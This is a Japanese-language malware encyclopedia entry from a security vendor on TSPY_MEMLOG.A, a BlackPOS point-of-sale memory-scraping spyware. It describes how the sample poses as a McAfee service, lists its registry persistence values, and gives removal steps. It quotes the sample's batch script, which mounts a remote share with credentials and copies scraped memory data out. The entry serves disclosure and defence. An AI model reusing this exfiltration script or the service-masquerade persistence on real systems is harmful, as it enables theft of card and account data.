TSPY_MEMLOG.A

2014年8月29日
 解析者: Rhena Inocencio   

 別名:

Troj/Agent-AING (Sophos), W32/Zbot.QB.gen!Eldorado (FProt), Trojan-FEJZ!B57C5B49DAB6 (McAfee)

 プラットフォーム:

Windows 2000, Windows Server 2003, Windows XP (32-bit, 64-bit), Windows Vista (32-bit, 64-bit), Windows 7 (32-bit, 64-bit)

 危険度:
 ダメージ度:
 感染力:
 感染確認数:
 情報漏えい:


  • マルウェアタイプ: スパイウェア
  • 破壊活動の有無: なし
  • 暗号化: なし
  • 感染報告の有無: はい

  概要

感染経路 インターネットからのダウンロード, 他のマルウェアからの作成

トレンドマイクロは、このスパイウェアをNoteworthy(要注意)に分類しました。

スパイウェアは、特定の小売業のアカウントを標的とする「BlackPOS」の新しい亜種です。また、スパイウェアは、自身の検出の回避のため、セキュリティ対策ソフトウェアのサービスを装います。

スパイウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。


  詳細

ファイルサイズ 134,656 bytes
タイプ EXE
メモリ常駐 はい
発見日 2014年8月22日
ペイロード 情報収集, ファイルの作成

侵入方法

スパイウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。

インストール

スパイウェアは、以下のコンポーネントファイルを作成します。

  • {malware path}\t.bat - deleted after execution
  • t:\temp\dotnet\NDP45-KB2737084-x86.exe - contains copied contents of McTrayErrorLogging.dll
  • {malware path}\McTrayErrorLogging.dll - contains data from scanned memory

自動実行方法

スパイウェアは、自身をシステムサービスとして登録し、Windows起動時に自動実行されるよう以下のレジストリ値を追加します。

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
Services\mcfmisvc
ImagePath = "{malware path and filename} -service"

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
Services\mcfmisvc
DisplayName = "McAfee Framework Management Instrumentation"

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
Services\mcfmisvc
ObjectName = "LocalSystem"

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
Services\mcfmisvc
Start = "2"

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
Services\mcfmisvc
Type = "10"

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
Services\mcfmisvc
ErrorControl = "1"

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
Services\mcfmisvc
Description = "Provides systems management information to and from McAfee Framework Objects"

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
Services\mcfmisvc\Security
Security = "{value}"

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
Services\lanmanworkstation
DependOnService = "mcfmisvc"

スパイウェアは、自身をシステムサービスとして登録し、Windows起動時に自動実行されるよう以下のレジストリキーを追加します。

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
Services\mcfmisvc

その他

スパイウェアが作成する以下のコンポーネントファイルは、実行後削除されます。

  • {malware path}\t.bat

スパイウェアが作成する以下のコンポーネントファイルは、"McTrayErrorLogging.dll"の内容のコピーを含みます。

  • t:\temp\dotnet\NDP45-KB2737084-x86.exe

スパイウェアが作成する以下のコンポーネントファイルは、スキャンされるメモリからの情報を含みます。

  • {malware path}\McTrayErrorLogging.dll

スパイウェアは、以下の変数のいずれかを受け取る可能性があります。

  • -start
  • -stop
  • -install
  • -uninstall
  • -service

スパイウェアは、以下を除くすべての実行中プロセスのメモリを読み込みます。

  • smss.exe
  • csrss.exe
  • wininit.exe
  • services.exe
  • lsass.exe
  • svchost.exe
  • winlogon.exe
  • sched.exe
  • spoolsv.exe
  • System
  • conhost.exe
  • ctfmon.exe
  • wmiprvse.exe
  • mdm.exe
  • taskmgr.exe
  • explorer.exe
  • RegSrvc.exe
  • firefox.exe
  • chrome.exe

作成されたコンポーネント"t.bat"は、"McTrayErrorLogging.dll"の内容を以下へコピーします。

  • t:\temp\dotnet\NDP45-KB2737084-x86.exe

スパイウェアは、特定のユーザを利用して共有化された場所を開き、ファイルを転送するために利用されます。スパイウェアは、以下のコマンドを含みます。

set src=t:\temp\dotnet\NDP45-KB2737084-x86.exe
net use t: \\{BLOCKED}.{BLOCKED}.2.153\d$ {BLOCKED}! /user:{BLOCKED}0.{BLOCKED}4.2.{BLOCKED}3\{BLOCKED}1
if exist %src% (
type McTrayErrorLogging.dll >> t:\temp\dotnet\NDP45-KB2737084-x86.exe.del /F /Q McTrayErrorLogging.dll
)
net use t: /DEL /yes
del /F /Q t.bat


  対応方法

対応検索エンジン: 9.700
初回 VSAPI パターンバージョン 11.104.02
初回 VSAPI パターンリリース日 2014年8月23日
VSAPI OPR パターンバージョン 11.105.00
VSAPI OPR パターンリリース日 2014年8月24日

手順 1

Windows XP、Windows Vista および Windows 7 のユーザは、コンピュータからマルウェアもしくはアドウェア等を完全に削除するために、ウイルス検索の実行前には必ず「システムの復元」を無効にしてください。

手順 2

このマルウェアもしくはアドウェア等の実行により、手順中に記載されたすべてのファイル、フォルダおよびレジストリキーや値がコンピュータにインストールされるとは限りません。インストールが不完全である場合の他、オペレーティングシステム(OS)の条件によりインストールがされない場合が考えられます。手順中に記載されたファイル/フォルダ/レジストリ情報が確認されない場合、該当の手順の操作は不要ですので、次の手順に進んでください。

手順 3

このマルウェアのパス名およびファイル名を確認します。
最新のバージョン(エンジン、パターンファイル)を導入したウイルス対策製品を用いてウイルス検索を実行してください。「TSPY_MEMLOG.A」で検出したパス名およびファイル名を確認し、メモ等をとってください。

手順 4

Windowsをセーフモードで再起動します。

[ 詳細 ]

手順 5

このレジストリ値を削除します。

[ 詳細 ]

警告:レジストリはWindowsの構成情報が格納されているデータベースであり、レジストリの編集内容に問題があると、システムが正常に動作しなくなる場合があります。
レジストリの編集はお客様の責任で行っていただくようお願いいたします。弊社ではレジストリの編集による如何なる問題に対しても補償いたしかねます。
レジストリの編集前にこちらをご参照ください。

  • In HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\mcfmisvc
    • ImagePath = "{malware path and filename} -service"

手順 6

このレジストリキーを削除します。

[ 詳細 ]

警告:レジストリはWindowsの構成情報が格納されているデータベースであり、レジストリの編集内容に問題があると、システムが正常に動作しなくなる場合があります。
レジストリの編集はお客様の責任で行っていただくようお願いいたします。弊社ではレジストリの編集による如何なる問題に対しても補償いたしかねます。
レジストリの編集前にこちらをご参照ください。

 
  • In HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services
    • mcfmisvc

手順 7

以下のファイルを検索し削除します。

[ 詳細 ]
コンポーネントファイルが隠しファイル属性の場合があります。[詳細設定オプション]をクリックし、[隠しファイルとフォルダの検索]のチェックボックスをオンにし、検索結果に隠しファイルとフォルダが含まれるようにしてください。
  • {malware path}\t.bat
  • {malware path}\McTrayErrorLogging.dll
  • t:\temp\dotnet\NDP45-KB2737084-x86.exe

手順 8

コンピュータを通常モードで再起動し、最新のバージョン(エンジン、パターンファイル)を導入したウイルス対策製品を用い、「TSPY_MEMLOG.A」と検出したファイルの検索を実行してください。 検出されたファイルが、弊社ウイルス対策製品により既に駆除、隔離またはファイル削除の処理が実行された場合、ウイルスの処理は完了しており、他の削除手順は特にありません。


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